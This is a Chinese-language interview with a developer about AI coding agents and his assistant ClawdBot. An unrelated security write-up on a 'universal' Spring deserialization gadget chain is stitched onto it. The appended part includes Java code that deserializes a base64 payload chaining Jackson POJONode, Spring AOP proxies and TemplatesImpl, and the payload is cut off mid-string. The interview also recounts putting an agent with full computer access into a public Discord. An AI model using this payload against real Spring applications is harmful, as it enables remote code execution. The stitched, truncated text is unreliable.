    Peter:现在完全不一样了。我最近一个项目的文档质量是我职业生涯里最好的,但我一行都没写。我只是跟模型讲清楚设计权衡:为什么这么做,然后让它写给新手看的部分,再在后面加上更技术化的细节,效果好得惊人。测试也是一样。每做一个功能,我就会自然地问:这个怎么测?如果换一种结构,是不是更好测?因为我脑子里始终只有一件事:怎么把闭环关上。模型必须能自己验证结果,这会反过来逼我做出更好的架构。

     

    为什么开发者 AI 编程玩不溜?

     

    主持人:那你觉得,为什么还有很多经验丰富的开发者,对 AI 这套东西依然很抗拒?

     

    Peter:前阵子我看到一篇博文,作者是我非常尊敬的人。他测试了好几个模型,其中甚至包括一些本来就不适合写代码的模型。他的做法听起来像是随便写个 prompt,在网页上点发送,拿结果就跑,甚至都不编译,结果当然很失望。

     

    但问题是:你觉得自己第一次写代码就能没 bug 吗?这些模型,本质上是人类知识的幽灵。它们不可能一次就对,所以你必须有反馈闭环。你也不能只发一个 prompt,而是要开始一段对话。

     

    他还抱怨模型用了旧 API。但你没告诉它 macOS 版本,它当然会默认用老 API。模型训练的数据里,旧数据本来就比新数据多。你越理解这些“小怪兽”是怎么思考的,你的 prompting 就越好。

     

    但他可能只玩了一天,就下结论说这东西不行。这就好比你会弹吉他,我把你放到钢琴前,你随便敲两下说“这不行,我还是回去弹吉他吧”。这是另一种构建方式,另一种思维方式。

     

    你不知道我凌晨三点对着 Claude Code 吼过多少次。后来我慢慢搞明白了:它真的就是严格按我说的话在做事。甚至有时候你可以直接问它:你为什么这么理解?

     

    在最近一个项目里,我感觉自己更像一个“人肉合并按钮”。社区很活跃,我几乎一直在 review PR。一开始它经常只 cherry-pick 一部分就关 PR,我被气得不行。后来我问它为什么,它会说:因为你之前这么说过,我就这么理解。

     

    慢慢地,我学会了这门“机器语言”,调整我的表达,现在它几乎每次都能给我想要的结果。这和任何技能一样,是可以练出来的。

     

    主持人:这和 Simon Willison 说的也很像:用得越久,越能意识到自己还能做得更好。那我们来做个更极端的假设。你现在做的 ClawdBot 很火、用户很多,但还不是像 PSPDFKit 那样直接承载大量收入的业务。如果今天 PSPDFKit 从世界上消失了,你要从零重建它,手上有现在这些 agent,你会怎么做?你会把什么交给 AI?什么一定要自己把控?团队结构会变成什么样?

     

    Peter:今天的话,我大概用三成的人就能跑起一家公司。但前提是,这些人必须非常资深,既懂系统又敢于放手,知道哪些地方重要,哪些地方可以“vibe”一下。

     

    这一点我在 AI 圈里其实不太常见。Twitter 上太多声音很大、但明显不知道自己在干什么的人,还有很多我觉得挺荒唐的概念。比如某些用来绕 Opus 限制的复杂流程,Codex 根本用不着。

     

    软件开发很少是那种“列一个超长任务清单,然后全部自动执行”的问题。我看到很多人搭了一整套复杂的编排系统:自动建 ticket、agent 处理 tickets、agent 互相发邮件,最后搞出一团复杂系统。图什么?这本质上就是瀑布模型,我们早就知道它不好用。

     

    对我来说,开发必须从一个模糊的想法开始。我甚至会故意少给 prompt,让 agent 先做点“不太对”的东西,因为可能八成都是垃圾,但那剩下的两成会给我新的启发,然后我不断迭代、塑形。

     

    我得点它、用它、感受它。好软件需要“品味”,而这是 AI 现在最欠缺的部分。但好处是,现在做一个功能太容易了,不行就扔掉,或者重新 prompt。我的构建方式几乎总是向前的,很少回滚。就像雕塑一样:你拿着一块石头,一点点敲,慢慢地,形状就从大理石里浮现出来了。

     

    主持人:回过头看软件工程的变化,好像有一个很明显的转折点。过去没有 AI、没有这些 agent 的时候,前期规划非常重要。你觉得现在这种变化,是因为写代码本身的成本大幅下降了吗?

     

    Peter:我现在还是会做规划,但投入的精力没以前那么多了。因为现在试错太便宜了,你可以直接做出来看看效果,再判断“这个形态行不行”“是不是需要微调”,甚至“干脆完全换一条路”。相比过去,这一切的成本低到一个程度,让整个过程变得更像是在玩。

     

    主持人:对,就像以前哪怕是交给一个刚毕业的新人或者实习生,一件事也得花一两天。现在不是一天两天,而是分钟级。就算是比较长的任务,最多也就是十几二十分钟。而且你还不是干等着,一个任务在跑,另外几个也在并行跑,所以试错本身几乎不算浪费。

     

    Peter:是的。最早我在 Claude 里其实假设只有一个 agent,后来变成多个;一开始假设只有一个 provider,比如 WhatsApp,后来又变成支持多个。这种改动,如果是我自己手写代码,简直是灾难,要把逻辑贯穿整个系统重新织(weaving)一遍。但 Codex 花了大概几个小时就搞定了,这要是我自己来至少得两周。所以以前那种“前期一定要一次想对”的心态是现实所迫,现在我知道,很多东西是可以改的。

     

    这也让技术债的处理变得轻松很多。你可以一边做,一边重新理解项目本身,一边调整你的思路。所以我其实不太相信那种“按 spec 写完,机器跑完就结束”的模式。你在真正开始构建之前,根本不可能完全知道自己要做什么。很多关键认知,都是在构建过程中才出现的,它们又会反过来影响系统最终的形态。

     

    对我来说,这更像一个循环,你不是直线爬山而是绕着走,有时候还会偏离一下路径,但最终还是会到达山顶。

     

    ClawdBot 来了

     

    主持人:我们换个话题。你已经连续几个月几乎不间断地在做 ClawdBot。其实有一个想法很早就把你拉回来了,对吧?你一直想做一个“超个人化”的助理。

     

    Peter:对,而且不是那种每天早上给你发“早安,这是你今天三件待办事项”的助理。

    我想要的是一个真正理解我的东西,比如我见了一个朋友回家后它会问我:“刚刚那次见面感觉怎么样?”或者有一天提醒我:“你已经三周没给 Thomas 发消息了,我注意到他最近在城里,要不要打个招呼?”又或者它会发现某些模式,比如“你每次提到这个人语气都会变,为什么?”

     

    那是一种极度个人化的东西,几乎是反 CRM 的存在,有点像电影《Her》,但这确实是技术发展的方向。模型对文本的理解能力非常强,上下文越大它们看到的模式就越多。即便它们本质上只是矩阵计算、没有灵魂,但很多时候给人的感觉已经完全不一样了。

     

    当时我甚至为这个想法注册了一家公司,叫 Amantus Machina,意思是“有爱的机器”。但去年夏天我真正深入做的时候,发现模型还差一点。能跑起来也有一些惊喜,但整体上还站在我需求的边缘之外。不过这反而让我很兴奋,因为 AI 的进展太快了,我很清楚这个想法可以晚点再回来做。

     

    还有一个判断是,我相信所有大型公司都在做个人助理。未来每个人都会有一个“最懂你的朋友”,它是台机器,了解你的一切、可以替你做事、能主动提醒你。当然,这会非常消耗算力,但凡是负担得起的人,都会想要一个。然后随着系统效率提高、芯片进步,这种能力一定会逐步下沉。这几乎是确定的趋势,而且现在已经能看到一些雏形了,比如 OpenAI 推出的一些偏生产力的功能。但现在算力还不够,把这种东西真正作为产品推出来非常难。

     

    而且还有一个问题是,我其实更希望它跑在我自己的电脑上,数据真正属于我自己。把邮件、日历、约会软件全部交给 OpenAI 或 Anthropic,说实话,挺吓人的,很多人已经在把这些模型当作心理咨询师用了,而且效果出奇地好。它非常会倾听,能理解你的困扰,只要不是某些明显差劲的版本,它真的能提出很有洞察力的问题,哪怕只是帮你复述和反思,你都会感觉被理解了。

     

    所以我一直有这个助理的想法,只是当时技术还没到位。与此同时,我也做了很多别的有趣的东西。在职业里绕一点“vibe 的弯路”,不断给自己造工具,优化自己的工作流,这几乎是成为一个真正工程师的必经阶段。

     

    但“超个人化 agent”这个念头一直没消失。最近几个月,我终于开始认真把它做出来。一开始它的规模其实很小,我甚至叫它 WhatsApp Relay,本意只是通过 WhatsApp 触发我电脑上的一些操作。

     

    后来我去摩洛哥给朋友过生日,一整天都在外面,就一直用 WhatsApp 跟这个 agent 聊天。它帮我指路、开玩笑,还能用我的身份给其他朋友发消息。那一刻我真的被震住了。最早的实现非常粗糙,我甚至没用正式的方式传图片,只是丢了个字符串,让它自己用工具去读。

     

    有一次我随手发了一条语音,其实我根本没实现语音功能。结果过了半分钟,它居然回了我一条语音。

     

    我问它怎么做到的,它说:你发了一个文件,我看了 headers,发现是 Ogg 格式,就用 ffmpeg 转了一下;然后我找你电脑上的语音识别工具,没装,但我发现了一个 OpenAI 的 endpoint,于是用 curl 调了接口。

     

    那一刻我真的觉得不可思议。这就是 Opus 的能力,它太“能自己想办法”了。

     

    我开始彻底上瘾。我让它叫我起床,它跑在伦敦的 Mac Studio 上,通过 SSH 连到我在摩洛哥的 MacBook,帮我开音乐,因为我没回应就一直把音量调大。

     

    我还加了一个 heartbeat。这简直疯了,你每隔几分钟就给一个模型发“想点酷的事情,给我点惊喜”的 prompt,这可能是史上最贵的闹钟,但它真的“懂”了。我那段时间脚受了伤需要很早起床,却一直没回应,它的推理过程非常清楚:“Peter 没回复,他必须起床,不能再睡了。”我把这个东西给朋友们看,所有人都被吸引住了,觉得这太神奇了。我自己也一样。

     

    后来我发到 Twitter 上,反而反响很冷,因为很多人完全看不懂这是什么。我感觉,这可能是一种全新的产品类别,大家还没有形成认知。

     

    主持人:这有点像你当年第一次接触 iPhone 的经历。广告、电视、各种宣传你都看过了,但真正的变化,其实还是在你亲手用上它之后。

     

    Peter:对,必须得用。我真正全力投入也就是最近这几个月,一开始它还叫 VA Relay,后来我自己都觉得这个名字不对劲了,因为功能早就不止这些了,已经接了 Telegram,还有一堆别的东西,再叫 Relay 完全不贴切。所以我给它改了个名字,叫 ClawdBot。算是个内部玩笑,我很喜欢《Doctor Who》,而且这个名字域名更好,也更能解释这个产品是什么。

     

    与此同时,我也在悄悄搭建我的“军队”。要让这套东西真正跑起来,核心原则就是:一切都得是 CLI。所以我写了大量 CLI 控制 Google、床、灯、音乐,所有东西都变成命令行。

     

    为什么是 CLI,不是 MCP

     

    主持人:那为什么是 CLI?为什么不是 MCP?你怎么看 MCP 这套东西?

     

    Peter:说实话,MCP 更像是一根拐杖。它最大的正面价值是逼着公司去开放更多 API。但整个设计思路本身是有问题的:你得在会话一开始,就把所有工具、所有函数、所有说明一次性塞进上下文,然后模型还得精确地构造一大坨调用参数,再接收一大坨返回。

     

    问题是,模型其实特别擅长用 bash。举个例子,你要一个天气服务,模型先问“有哪些城市”,接口一次性给你几百个城市;模型没法过滤,只能全吃进去。然后你再问“给我 London 的天气”,返回温度、风速、降雨、几十个你根本不关心的字段,最后上下文里全是垃圾信息。但如果是 CLI,模型可以直接用 jq,只拿它真正需要的那一小部分。

     

    主持人:听起来问题并不是 MCP 本身,而是所有东西都必须提前塞进上下文。如果能按需发现、按需调用,理论上是能解决的?

     

    Peter:现在大家确实在往这个方向做,但还有一个根本问题:你没法“链式组合”。

    我不能写一个脚本说:“找出所有温度超过二十五度的城市,再过滤字段,再把结果打包成一个命令。”因为 MCP 本质上都是孤立的工具,没法脚本化。

     

    主持人:但这听起来更像是时间问题。就像现在我们做一个天气应用,本来就要选 API、比较价格、覆盖范围,然后再把不同 API 的结果串起来。这套事情在没有 AI 的年代已经解决过了。

     

    Peter:是的,AI 时代迟早也会解决。只是形式还没定。我自己干脆写了个小工具,叫 Porter,用 TypeScript,把 MCP 转成 CLI,直接打包用。

     

    主持人:所以你的结论是至少现在,CLI 的效率更高?

     

    Peter:对。ClawdBot 里我其实根本没直接支持 MCP,但通过 Porter,几乎可以用任何 MCP。你甚至可以在手机上说:“用 Vercel 的 MCP 做这个事情。”它会自己去网站找 MCP、加载、按需使用。而现在很多 MCP 方案,甚至还得重启 Claude Code,用户体验非常糟,所以我就一路把自动化堆起来,工作量非常大。

     

    Taylor 前几天还做了个视频,说“这个人疯了”,因为现在支持的东西已经多到离谱。但我自己在用 agent 的过程中只会不断冒出一个念头:我还想让它多做一点。

     

    前段时间我干了一件“非常不理智”的事:我建了一个 Discord,把我的 agent 加了进去。有人给项目贡献了 Discord 支持,我当时其实很犹豫要不要合并,但最后还是合并了。结果就是我把一个拥有我电脑完整读写权限的 agent,扔进了一个公开的 Discord。

     

    把复杂度隐藏到让人觉得“理所当然”

     

    主持人:听起来完全不像是个好主意。

     

    Peter:对,简直疯狂。但后来有人进来,看到我用它检查摄像头、做家庭自动化、帮我放音乐。我在厨房里,跟它说“看我的屏幕”,它就真的看到了。因为它有完整权限,可以点终端、替我打字、执行命令。你甚至可以对它说“做这个做那个”,它就照着屏幕操作。

     

    我现在还在优化,理想状态当然是纯文本流,但现在这种方式已经能跑了,而且是后台默默在跑。任何体验过几分钟的人都会上瘾,项目的 star 数一周内从一百涨到三千多,我已经合并了 500 多个 PR。所以,我现在感觉自己就是个人肉 merge 按钮,整个人状态都有点散。

     

    但这正是它的美妙之处:技术本身消失了。你只是拿着手机,像跟一个朋友聊天。这个“朋友”无所不能:能访问你的邮件、日历、文件,能给你搭网站、能做行政工作、能爬网页、能给朋友打电话,甚至能帮你打电话给商家订位。我正准备合并通话功能。

     

    你完全不用关心算力、上下文、子 agent。它们在后台疯狂运转,只为了让你觉得“一切都很简单”。我还有一套记忆系统,当然不完美,但已经足够让人觉得像是魔法。

     

    现在我走在路上,看到一个活动,随手给 Claude 发张照片。它不仅能告诉我这个活动的评价,还会检查我日历有没有冲突、朋友有没有提过。因为它掌握了大量上下文,给出的回答,已经完全不是那种“各自待在小盒子里的工具”能比的。

     

    主持人:听起来你已经做出了 Apple 想让 Siri 成为、却始终没做到的东西。

     

    Peter:老实说,我可能是 Anthropic 最好的销售。我都不知道有多少人因为 ClawdBot 去买了 200 美元的订阅,有些人甚至多开了一个账号。不是因为模型“浪费 token”,而是大家太爱用了,用得太频繁。而且由于复杂性被完全隐藏,他们根本感觉不到后台有多少子 agent 在忙。

     

    真正难的地方在工程上:如何把复杂度隐藏到让人觉得“理所当然”。这才是魔法的来源。

     

    主持人:但这也很有意思。你在架构上投入了这么多思考。现在这个项目已经跑了几个月,也确实爆了。在你脑子里,你是不是很清楚 ClawdBot 的结构?哪些地方该改、哪些地方要重构?你会不会开始担心内存、token、效率这些问题?

     

    Peter:Token 更多是 prompt 和 memory 结构的问题。说到底,这就是 TypeScript 在搬 JSON。大模型给我文本,我存盘;我再把文本发到 WhatsApp、Slack、Discord、Signal、iMessage,还有更多渠道在接入。现在结构确实有点乱,但本质上只是文本在不同形态间流动。有多 provider、多 agent、有 agent loop、有配置、有大量 plumbing,但没有哪一块是真的“难”。

     

    主持人:更多是碎片化的复杂,对吧?

     

    Peter:对。真正的难点是:怎么让它“看起来像魔法”。我花了大量时间在安装和引导体验上。你只需要敲一行命令,我会检查你有没有 Homebrew、有没有 Node,自动安装依赖,兼容老版本;然后引导你选模型,能自动识别你已经装了什么,基本就是一路按回车。

     

    接着你填个手机号,WhatsApp 就能直接用。我会问你要不要“给它起名字”,然后终端里会弹出一个 TUI,让你完成这一步。我还加了一个 bootstrap 阶段:模型一开始不会假装自己“有灵魂”,而是通过一轮对话慢慢理解你;然后它会把 bootstrap 文件删掉,生成 user.md、soul.md、identity 文件,记录你的偏好、价值观、内部玩笑。

     

    这些文件不是静态的,它们会随着你们的互动不断演化。等这一切结束,你只是用 WhatsApp 跟它聊天,但你已经不再觉得自己是在跟“GPT 某个版本”说话,而是在跟一个真正的“朋友”交流。配置不需要你手改,因为 agent 能改自己。你甚至可以对它说“更新一下自己”,它就会拉最新版本、更新完再回来告诉你。

     

    这就是我说的魔法:当复杂度被隐藏到极致,体验才会真的发生变化。

     

    主持人:这听起来其实很像你当年做 PSPDFKit 的思路,对吧?你把 PDF 那套复杂性完全“融”掉了,用户只需要直接用,旋转、编辑,一切都很自然地发生。

     

    Peter:对,甚至在当年的 API 层面就是这么想的。

     

    你的工作流程,公司能套用吗

     

    主持人:我们把话题拉回到软件工程本身。你现在做的已经是一个真实在跑的产品了,是生产软件,大家在用,你也在不断 merge PR。回头看 PSPDFKit 那样的公司,几十人、上百人的团队在维护成熟系统。基于你现在构建 ClawdBot 的方式、你用的这些工具,你觉得大型公司的软件工程方式会发生什么变化?

     

    我明显感受到一个割裂:像你这样的个人,AI 对生产力的提升是巨大的,你完全掌控;但在团队或公司层面,尤其是有大量历史代码的情况下,一切就慢很多。不是说他们不用 AI,而是感觉两个世界之间有一道鸿沟。你当过 CEO,你怎么看?这是结构性问题,还是只是时间问题,就像每一代新技术,先被一小撮人玩明白?

     

    Peter:我觉得,大多数公司要高效采用 AI,会非常非常难,因为这不仅是工具问题,而是要求你重新定义“公司是怎么运作的”。

     

    你想想,在 Google 这种地方,你要么是工程师,要么是经理;你想顺手决定一下 UI 什么样?对不起,不行。要么你写代码,要么你做设计,角色边界非常清楚。

     

    但在这个新世界里,你需要的是有完整产品视角的人,能把事情从头做到尾。这样的人数量会少得多,但要求极高:高自主性、高能力。极端一点说,公司规模可能只需要现在的三成。这听起来就很吓人了,经济上也一定会带来巨大的冲击,很多人会发现自己在这个新世界里找不到位置。

     

    所以我一点都不意外,现有的大公司用不好 AI。他们当然也在用,但只是“用到一点”。要真正发挥作用,你得先来一次大重构,不只是代码层面的,也是组织层面的。

     

    我现在设计代码库,已经不是为了“对我来说顺不顺手”,而是为了“对 agent 来说顺不顺手”。我优化的是模型摩擦最小、跑得最快的路径,而不一定是我个人最偏好的写法。因为最终是它在跟代码打交道,不是我。我负责的是整体结构和架构,这部分我还是按自己的方式来。

     

    现在所有东西都要“可被解析”。PR 在我眼里,越来越像是 Prompt Request。有人提了一个 PR,我很少直接在那个 PR 上改。我会先说声谢谢,理解这个功能想干嘛,然后拉着 agent 从这个 PR 出发,把功能按我理解的方式重新设计一遍。

     

    代码可能会复用一点,但更多是把“目标”传达清楚。有些 PR 在定位 bug 时确实很有帮助,但说实话,现在很多 PR 的整体代码质量在下降,因为大家在疯狂 Vibe Coding。可真正要把功能做对,还是得对整体设计有深刻理解,否则你连怎么引导 agent 都不知道,结果自然就会很糟。

     

    主持人:对,没有一个完整的反馈闭环,质量肯定会出问题。

     

    Peter:是的,对我来说,这种方式效率极高。我记得在 PSPDFKit 的时候,一个 PR 可能要做一周,评论、来回切换上下文、等 CI 四十分钟……现在不一样了。我把代码丢给模型,它会主动提醒我“这个地方可能会影响到别的模块”。我自己也会有判断,然后我们一起把它“重塑”成符合我愿景的形态,再把代码织进去。

     

    说实话,我现在写代码用的动词都变了,“把代码织进现有结构里”,有时候甚至要先改结构,才能让它装得进去。

     

    主持人:那如果你现在招一两个人,变成一个小团队,你觉得代码评审、CI、CD 这些东西会怎么变化?

     

    Peter:我其实没那么在意 CI 了。

     

    主持人:你以前在 PSPDFKit 可是非常在意这些的。

     

    Peter:以前是,现在测试本身我还是在意的,但我用的是本地 CI。我现在有点“异端”了。

    agent 会跑测试,我不想每次推个后端 API,都等十分钟 CI。

     

    主持人:但你已经在 agent 那里等了不少时间了。

     

    Peter:只要本地测试过了,我就 merge。偶尔 main 会出点小问题,但通常很接近正确状态。

    我现在管完整流程叫 “gate”。full gate 就是 lint、build、全测试跑一遍。它就像一道门,代码出去之前必须过这关。我甚至开始用 agent 的语言了:“提交之前,跑一下 full gate。”

     

    主持人:那如果多一个人一起做,你可能也不会做传统的 code review 了?

     

    Peter:我们不会讨论具体代码,而是讨论架构、讨论大的决策、讨论风格。比如最近有个 PR 加了语音通话功能,现在我可以直接对 ClawdBot 说:“帮我给这家餐厅打电话,订两个位置。”这功能很酷,但它是一个很大的模块,影响面很广。

     

    我当时就有点犹豫:这是不是开始变成臃肿软件了?然后我又回到老套路:把它做成一个 CLI。我之前有个没做完的项目正好相关,于是我打开 Codex,说:“你看看这个 PR,再看看那个项目,能不能把这个功能织进去?”对,我又用了“织”这个词。对我来说,这已经成了一种工作方式。

     

    主持人:就这么继续往前推了。

     

    Peter:对,就这么继续。我们能不能把这个功能织进 CLI 里?利弊分别是什么?然后他们会跟我说可以这样做、那样做,也会给我很坦诚的意见。听下来我会觉得,这个功能其实是适合放进项目里的,而且确实能带来一些如果做成外置 CLI 就拿不到的好处。但我心里还是会有警惕:我不喜欢臃肿,这会不会开始变成 bloatware?那能不能搞一个插件式架构?

     

    还有一个用 AI 的“隐藏技巧”是:多引用别的产品。我经常直接跟 agent 说,你去看这个文件夹,我当初在那儿已经把问题解决过了;或者去看那个地方,之前的思路都在那里。这样它就能直接理解我当时是怎么想的,我也不用重新解释一遍。

     

    因为如果我再解释一次,很可能反而会引入偏差,没法完全表达我脑子里的原始想法。

     

    有个人叫 Shitty Coding Agent 的项目,名字虽然这么叫,其实一点也不 shitty。他里面有一套插件架构,可以通过 Git 加载代码,而且全是 TypeScript。我就跟 agent 说,“你去看看这个文件夹、那个文件夹。”结果它受到启发,直接给我设计出了一套非常炸裂的插件架构。所以本质上还是一种直觉驱动的过程。我昨晚基本上就是在干这个。

     

    主持人:听起来,你的整个工作流已经和传统方式完全不一样了。PR 在你这里的角色变了,CI 也不一样了,测试还在,但更重要的是反馈回路。你用的是“织代码”,而不是“写代码”,讨论的是架构和品味。这对我来说是一个非常大的转变。

     

    那我们假设接下来你要招一两个、三个工程师,把这个项目变成一个真正的团队,甚至一个业务,你会看重什么样的能力?如果现在有一个资深工程师,你会被什么样的品质吸引?你会期待他们做过什么项目,或者具备什么特质,才能适应、或者快速学会这种工作方式?

     

    Peter:我会找那种活跃在 GitHub 上、做开源的人。更重要的是,我要感觉到他们“爱玩这个游戏”。在这个新世界里,学习方式就是不断尝试,它真的很像一个游戏:你越玩越熟练,就像学乐器一样,得一直练。

     

    我现在能做到这么快、这么高效,连我自己都觉得有点不可思议。前几天我一天之内提交了 600 多个 commits,简直疯狂。但它是能跑的,不是那种“看起来很糟”的代码。

     

    主持人:对,这背后是大量的技能积累。

     

    Peter:是的,但真的很累,你必须去玩这些技术、去学习。一开始一定会很挫败,就像你第一次去健身房又累又痛,但很快你就会变强,你会感觉到工作流在加速,能明显看到进步,然后你就慢慢上瘾了。所以,一边玩,一边拼命干。

     

    主持人:你现在投入的时间,明显比以前多了。

     

    Peter:我从来没像现在这么拼过。就算当年我有公司,也没这么拼。不是因为我必须这么做,而是因为这件事太上瘾、太好玩了。再加上现在正好有势能,有一群人在推着我往前走。

     

    年轻人的建议

     

    主持人:是不是也因为你商业嗅觉很好?你能看出来什么时候有机会、什么时候窗口期打开了。

    你刚才提到,现在“公开做事”这件事本身就很新颖。你也说,就算你现在想招人,其实也很难,因为真正公开、高频使用这些工具的人并不多。但可能两三年后,大家都会这么做,这个优势也就没了。还有一群人很焦虑的,是应届生、没什么经验的新人。毕竟你是在成为资深工程师之后,AI 才出现的,你有大量积累可以借力。

     

    如果你把自己放回到那个阶段,基于你现在知道的一切,你会建议他们去做什么?是打好软件工程基本功,还是直接拥抱 agent,还是两者结合?

     

    Peter:我会建议他们保持无限的好奇心。毫无疑问,进入这个市场一定会更难,你必须通过不断做东西来积累经验。我不觉得一定要写很多代码,但你得去接触复杂的开源项目,去读、去理解。

     

    你现在有一台无限耐心的机器,可以把任何东西给你讲清楚,你可以不停地问:为什么要这么设计?为什么当初要这么做?慢慢建立起系统级理解。但这一切都依赖真实的好奇心,而我不觉得现在的大学真的很擅长教这个。通常,这种能力都是在痛苦中学会的。

     

    对新人来说不会轻松,但他们也有一个优势:他们没有被“旧经验”污染。就像小孩子一样,他们会用 agent 做出我们根本想不到的事情,因为他们不知道“这事不该这么做”。而等他们这么做的时候,往往已经能跑通了。

     

    主持人:而且他们身边的朋友也都在用这些工具。

     

    Peter:对。前几天我有个小的菜单栏应用,用来统计 Cursor、Claude Code 这些成本,跑得有点慢。我本能反应是:好,打开 Instruments,开始点。结果他们直接在终端里把 profiling 全做了,连 Instruments 都不用开,就直接给我提了优化方案,还顺带把性能搞快了。我完全被震住了。

     

    主持人:我觉得我们可能低估了进入这个行业的年轻人的能力和资源整合水平。很多伟大的公司创始人都非常年轻,当时经验也不多,但热情极强。对我来说,最冲击的还是你提到的这些变化:不再依赖 PR,不做传统 code review。这些东西陪伴了你十五年以上,也是 PSPDFKit 成功的重要基石。

     

    Peter:是的,现在需要一整套新东西。哪怕现在有人给我提 PR,我更关心的其实是 prompt,而不是代码。我会让大家把 prompt 也一起提交,有些人会这么做。

     

    我读 prompt 的时间,比读代码还多。因为那是更高信号的信息:你是怎么得到这个结果的?你问了什么问题?中间做了多少引导?这比最终代码本身更能帮我判断质量。

     

    如果有人想要一个新功能,我甚至直接要一个“Prompt Request”。你把需求写清楚,我就能把 issue 指给 agent,让它直接去做。真正的工作,其实是在想清楚系统应该怎么运作、细节是什么。如果别人已经帮我把这些想清楚了,我基本可以直接说一句“build”,然后它就能跑。

     

    相反,如果有人只提了一个很小的修复 PR,我反而会请他们别这么做,因为我花在 review 上的时间,可能是我直接在 Codex 里敲一句“fix”再等几分钟的十倍。现在我们已经可以有一行命令就启动。但在最近两周项目开始真正有热度之后,我干脆让大家直接用 agent 指向仓库来做配置。所以我们没有传统意义上的 Onboarding,而是 Claude Code 驱动的 Onboarding。

     

    我的 agent 会自己 clone 仓库、读文档、写配置、帮用户把环境全搭好,甚至设置 Launch Agent,全程不需要人工步骤。这在以前完全不可想象,但现在不是优先级问题了,因为 agent 可以替你做这些事。

     

    而且这个产品本身就是 agent 构建的,所以它的结构、命名方式,完全符合 agent 的“直觉”。模型权重里本身就编码了某些对命名和结构的偏好,它在这个项目里导航起来非常顺。所以我没有把太多精力放在 Onboarding 上。以后我当然也想做成很魔法的体验,但当下更重要的是信息传得通、系统别炸。

     

    小彩蛋

     

    主持人:好,那我们用几个快问快答收尾。第一个:有没有一个你会推荐的工具?不是 CLI,也不是 IDE,可以是实体设备。

     

    Peter:我买过很多小玩意,大多数都挺一般。但有一个不贵、看起来也挺糙的东西,给了我几乎无限的快乐。它是一个用 Android 跑的电子相框,可以上传照片。它有一个邮箱,朋友可以直接给它发照片,之后就会自动显示。我家里放了好几个。技术上说,它很糟糕,动画也很简陋,但它就是不停地给我展示生活中那些快乐的瞬间。

     

    它大概两百美元,但说实话它给我的满足感,比我新买的 iPhone 还大。我买了 iPhone 17,到现在都还没拆封,因为我一想到要换卡、迁移数据就觉得太麻烦,完全没有“非换不可”的理由。但这个小相框,真的让我很开心。

     

    主持人:那在科技之外,有什么事情能让你充电、让你远离屏幕?

     

    Peter:健身房,最好是和教练一起,把手机锁在柜子里。那一个小时里,我完全活在当下,没有通知,没有冲动去摸手机。有时候我甚至出门散步,把手机直接留在家里。一开始会非常恐慌,好像手机已经变成身体的一部分了,但这种感觉反而让我觉得特别爽。

     

    参考链接:

    https://www.youtube.com/watch?v=8lF7HmQ_RgY

    高版本spring通杀链

    简单分析

    我这里是直接搭了一个springboot3环境来进行分析,然后在TemplatesImpl的getOutputProperties()方法打一个断点,在jdk17的环境下简单看了一下调用栈:

    import java.io.ByteArrayInputStream;
    import java.io.ObjectInputStream;
    import java.util.Base64;
    
    public class Main {
        public static void main(String[] args) throws Exception {
            String base64Data = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3EAfgAAP0AAAAAAAAx3CAAAABAAAAACdAACYWFzcgAsY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuUE9KT05vZGUAAAAAAAAAAgIAAUwABl92YWx1ZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuSmRrRHluYW1pY0FvcFByb3h5TMS0cQ7rlvwCAARaAA1lcXVhbHNEZWZpbmVkWgAPaGFzaENvZGVEZWZpbmVkTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7WwARcHJveGllZEludGVyZmFjZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAFWgALcHJlRmlsdGVyZWRMABNhZHZpc29yQ2hhaW5GYWN0b3J5dAA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc29yQ2hhaW5GYWN0b3J5O0wACGFkdmlzb3JzdAAQTGphdmEvdXRpbC9MaXN0O0wACmludGVyZmFjZXNxAH4AE0wADHRhcmdldFNvdXJjZXQAJkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9UYXJnZXRTb3VyY2U7eHIALW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5Qcm94eUNvbmZpZ4tL8+an4PdvAgAFWgALZXhwb3NlUHJveHlaAAZmcm96ZW5aAAZvcGFxdWVaAAhvcHRpbWl6ZVoAEHByb3h5VGFyZ2V0Q2xhc3N4cAAAAAAAAHNyADxvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuRGVmYXVsdEFkdmlzb3JDaGFpbkZhY3RvcnlU3WQ34k5x9wIAAHhwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4c3EAfgAZAAAAAXcEAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB4c3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5TaW5nbGV0b25UYXJnZXRTb3VyY2V9VW71x/j6ugIAAUwABnRhcmdldHEAfgAFeHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE5